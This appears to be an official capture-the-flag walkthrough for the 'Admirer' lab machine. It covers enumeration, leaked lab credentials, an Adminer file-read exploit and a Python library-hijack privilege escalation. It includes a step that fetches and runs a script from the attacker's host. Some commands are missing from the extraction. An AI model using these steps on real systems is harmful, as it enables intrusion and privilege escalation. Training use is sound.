Admirer
Admirer
Difficulty: Easy
Classification: Official
Synopsis
Admirer is an easy difficulty Linux machine that features a vulnerable version of Adminer (caused by an
underlying MySQL protocol flaw), and an interesting Python library hijacking vector. After thorough
enumeration, lots of pieces of information can be combined to get a foothold and then escalate privileges
to root.
Skills Required
Basic Web Enumeration
Basic Linux Enumeration
Skills Learned
Exploiting MySQL Arbitrary File Read via Adminer
Python Library Hijacking
Enumeration
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.168 | grep ^[0-9] | cut -d '/' -f 1 | tr
'\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.168
Nmap reveals that ports 21 (vsftpd), 22 (OpenSSH) and 80 (Apache) are available. The Nmap script shows
that a robots.txt is present, which contains a disallowed entry for /admin-dir . The website features some
images.
We're not permitted to access the /admin-dir directory, and the website source code doesn't reveal
anything interesting.
Let's enumerate any files and folders that are hosted on the web server. We can use Rustbuster for this with
the common.txt wordlist.
wget https://github.com/phra/rustbuster/releases/download/v3.0.3/rustbuster-v3.0.3-
x86_64-unknown-linux-gnu -O rustbuster
cd /usr/share
git clone https://github.com/danielmiessler/SecLists/
./rustbuster dir --url http://10.10.10.187/admin-dir/ --wordlist
/usr/share/SecLists/Discovery/Web-Content/common.txt --extensions php,txt --threads 15
~ rustbuster v3.0.3 ~ by phra & ps1dr3x ~
This reveals a contacts.txt and credentials.txt . After downloading them, we see various credentials
and email addresses.
wget http://10.10.10.187/admin-dir/credentials.txt
wget http://10.10.10.187/admin-dir/contacts.txt
contacts.txt
##########
# admins #
##########
# Penny
Email: [email protected]
##############
# developers #
##############
# Rajesh
Email: [email protected]
# Amy
Email: [email protected]
# Leonard
Email: [email protected]
credentials.txt
[FTP account]
ftpuser
%n?4Wz}R$tTF7
[Wordpress account]
admin
w0rdpr3ss01!
Next, we can extract the users to usernames (adding root), and save the passwords down to passwords ,
and attempt a password spray against SSH using CrackMapExec.
cat *.txt | grep @ | sed 's/Email: //' | awk -F"@" '{print $1}' > usernames
cat usernames
p.wise
r.nayyar
a.bialik
l.galecki
h.helberg
b.rauch
w.cooper
Instead, let's turn our attention to FTP, using the ftpuser credentials.
ftp
ftp> o
(to) 10.10.10.187
Connected to 10.10.10.187.
220 (vsFTPd 3.0.3)
Name (10.10.10.187:user): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode on.
ftp> ls
227 Entering Passive Mode (10,10,10,187,188,73).
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 3405 Dec 02 2019 dump.sql
-rw-r--r-- 1 0 0 5270987 Dec 03 2019 html.tar.gz
226 Directory send OK.
ftp> mget *
mget dump.sql? y
227 Entering Passive Mode (10,10,10,187,148,131).
150 Opening BINARY mode data connection for dump.sql (3405 bytes).
226 Transfer complete.
3405 bytes received in 0.00 secs (28.2371 MB/s)
mget html.tar.gz? y
227 Entering Passive Mode (10,10,10,187,48,108).
150 Opening BINARY mode data connection for html.tar.gz (5270987 bytes).
226 Transfer complete.
5270987 bytes received in 1.58 secs (3.1867 MB/s)
This reveals the files dump.sql and html.tar.gz , which are downloaded.
mkdir html
tar xvf html.tar.gz --directory html/
dump.sql doesn't seem interesting, but html.tar.gz contains a backup of the website source code, which
contains some passwords. However, this doesn't provide us with any further access.
cd html/
grep -ir password
ls -al utility-scripts/
The file info.php also exists on the server.
The local contents of admin_tasks.php reveals the presence of the file /opt/scripts/admin_tasks.sh
on the remote server. As seen in the source code, only options 1 to 3 are available on the
admin_tasks.php page hosted on the server, and the output doesn't reveal anything interesting.
cat utility-scripts/admin_tasks.php
<html>
<head>
<title>Administrative Tasks</title>
</head>
<body>
<h3>Admin Tasks Web Interface (v0.01 beta)</h3>
<?php
// Web Interface to the admin_tasks script
//
if(isset($_REQUEST['task']))
{
$task = $_REQUEST['task'];
if($task == '1' || $task == '2' || $task == '3' || $task == '4' ||
$task == '5' || $task == '6' || $task == '7')
{
/***********************************************************************************
Available options:
1) View system uptime
2) View logged in users
3) View crontab (current user only)
4) Backup passwd file (not working)
5) Backup shadow file (not working)
6) Backup web data (not working)
7) Backup database (not working)
NOTE: Options 4-7 are currently NOT working because they need root
privileges.
I'm leaving them in the valid tasks in case I figure out a way
to securely run code as root from a PHP page.
************************************************************************************/
echo str_replace("\n", "<br />", shell_exec("/opt/scripts/admin_tasks.sh $task
2>&1"));
}
else
{
echo("Invalid task.");
}
}
?>
It doesn't seem vulnerable to command injection due to the whitelist of permitted options. Let's turn our
attention to enumerating this directory on the server. Maybe there are other files hosted there that weren't
in the backup.
Using Rustbuster, and after a trying a few different wordlists, the SecLists big.txt wordlist identifies the file
adminer.php .
Foothold
After navigating to this page, we find that the version of Adminer is 4.6.2. Adminer is a MYSQL database
management tool, and we are able to input the connection details, including the server name.
After researching online, it seems that Admirer 4.6.2 is prone to a arbitrary file disclosure vulnerability,
owing to an underlying MySQL protocol flaw.
In order to exploit this, we need to configure a MySQL server on an accessible machine under our control,
containing a database, table and single column. First, we can search for the latest version of the MariaDB
package (correct for Parrot OS at the time of writing).
If the MySQL or MariaDB server and client aren't already installed, issue the commands below.
The MariaDB root password isn't set by default, so we set it to something non-guessable.
mysql -u root -p
ALTER USER 'root'@'localhost' IDENTIFIED BY '<YOUR PASSWORD>';
Next, we can create a database, and a lower-privileged user that can be used to connect to it remotely. Note
that we specify [email protected] , as backup@localhost would be a different user, and wouldn't be
able to connect from 10.10.10.187.
CREATE DATABASE backup; USE backup; CREATE TABLE backup (name VARCHAR(2000));
CREATE USER 'backup'@'10.10.10.187' IDENTIFIED BY '<YOUR PASSWORD>';
GRANT ALL PRIVILEGES ON backup.* TO 'backup'@'10.10.10.187';
Next, add an exception in the firewall policy to allow connections from 10.10.10.187 to port 3306 locally.
Default options are read from the following files in the given order:
/etc/my.cnf /etc/mysql/my.cnf ~/.my.cnf
pico /etc/mysql/my.cnf
#
# This group is read both both by the client and the server
# use it for options that affect everything
#
[client-server]
total 16
drwxr-xr-x 1 root root 128 Sep 24 00:46 .
drwxr-xr-x 1 root root 148 Sep 24 00:47 ..
-rw-r--r-- 1 root root 733 Jul 5 08:07 50-client.cnf
-rw-r--r-- 1 root root 336 Jul 5 08:07 50-mysql-clients.cnf
-rw-r--r-- 1 root root 1032 Jul 5 08:07 50-mysqld_safe.cnf
-rw-r--r-- 1 root root 3940 Jul 5 08:07 50-server.cnf
pico /etc/mysql/mariadb.conf.d/50-server.cnf
[mysqld]
#
# * Basic Settings
#
user = mysql
pid-file = /run/mysqld/mysqld.pid
socket = /run/mysqld/mysqld.sock
#port = 3306
basedir = /usr
datadir = /var/lib/mysql
tmpdir = /tmp
lc-messages-dir = /usr/share/mysql
#skip-external-locking
Restart the MariaDB server and check that the service is listening on the correct IP address.
Recalling the file /opt/scripts/admin_tasks.sh that we identified previously, we attempt to read it.
However, we receive the error above, owing to an open_basedir restriction. On checking the previously
identified phpinfo file, we can see that the permitted open_basedir directory on the server is
/var/www/html . Further, we recall that the backup of the index.php file contained credentials. Let's
attempt to read this file. A ../ is specified, as we are currently in the utility-scripts/ directory.
The query was successful. Next, click the select link on the left-hand side to view the file.
This displays the index.php. On scrolling down, we find SQL connection details.
Password reuse is very common, and it this case the credentials also work for SSH as waldo uses the same
password for SQL and system accounts.
Privilege Escalation
The first thing to check is common privilege escalation vectors. We can automate this using LinPEAS.
wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-
scripts-suite/master/linPEAS/linpeas.sh
python3 -m http.server 80
ufw allow from 10.10.10.187 to any port 80
cd /dev/shmy
wget 10.10.14.2/linpeas.sh
bash ./linpeas.sh
This reveals that the root-owned file /opt/scripts/backup.py is readable by a group we are a member of.
#!/usr/bin/python3
src = '/var/www/html/'
dst = '/var/backups/html'
This is a simple script that imports a library called shutil . Next, let's examine the file
/opt/scripts/admin_tasks.sh .
cat /opt/scripts/admin_tasks.sh
If our effective user ID is 0 i.e. root, then we are permitted to run various backup tasks. Interestingly, the
backup_web() function will run the backup.py file.
#!/bin/bash
view_uptime()
{
/usr/bin/uptime -p
}
view_users()
{
/usr/bin/w
}
view_crontab()
{
/usr/bin/crontab -l
}
backup_passwd()
{
if [ "$EUID" -eq 0 ]
then
echo "Backing up /etc/passwd to /var/backups/passwd.bak..."
/bin/cp /etc/passwd /var/backups/passwd.bak
/bin/chown root:root /var/backups/passwd.bak
/bin/chmod 600 /var/backups/passwd.bak
echo "Done."
else
echo "Insufficient privileges to perform the selected operation."
fi
}
backup_shadow()
{
if [ "$EUID" -eq 0 ]
then
echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
/bin/cp /etc/shadow /var/backups/shadow.bak
/bin/chown root:shadow /var/backups/shadow.bak
/bin/chmod 600 /var/backups/shadow.bak
echo "Done."
else
echo "Insufficient privileges to perform the selected operation."
fi
}
backup_web()
{
if [ "$EUID" -eq 0 ]
then
echo "Running backup script in the background, it might take a while..."
/opt/scripts/backup.py &
else
echo "Insufficient privileges to perform the selected operation."
fi
}
backup_db()
{
if [ "$EUID" -eq 0 ]
then
echo "Running mysqldump in the background, it may take a while..."
#/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
/usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
else
echo "Insufficient privileges to perform the selected operation."
fi
}
exit 0
fi
echo
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; do
case $REPLY in
1) view_uptime ; break ;;
2) view_users ; break ;;
3) view_crontab ; break ;;
4) backup_passwd ; break ;;
5) backup_shadow ; break ;;
6) backup_web ; break ;;
7) backup_db ; break ;;
8) echo "Bye!" ; break ;;
exit 0
On inspecting our sudo permissions, it's found that we can run the script admin_tasks.sh as root.
Furthermore, the SETENV option is specified, which allows us to change or add an environment variable.
This combination of configurations inadvertently presents a privilege escalation opportunity. We can create
a Python library that defines the make_archive function that the script is expecting, and attempt to hijack
script execution. Save the contents below to /dev/shm/shutil.py .
import os
Next, allow the server to connect to us remotely on this port, and stand up a listener.
sudo /opt/scripts/admin_tasks.sh
This doesn't work, because Python doesn't know to look for our malicious shutil.py in /dev/shm .
Reading the documentation, it seems that we can specify a PYTHONPATH variable, that functions much the
same as the PATH variable.
This variable is specified, and the command is run again, with the sudo -E switch used to preserve the
environment.
waldo@admirer:/dev/shm$ PYTHONPATH=/dev/shm
waldo@admirer:/dev/shm$ sudo -E /opt/scripts/admin_tasks.sh
[sudo] password for waldo:
However, this is still unsuccessful. After some research online (or by consulting the sudo documentation),
we find that it is necessary to pass this variable directly to sudo. The option 6 can be provided as a
positional argument.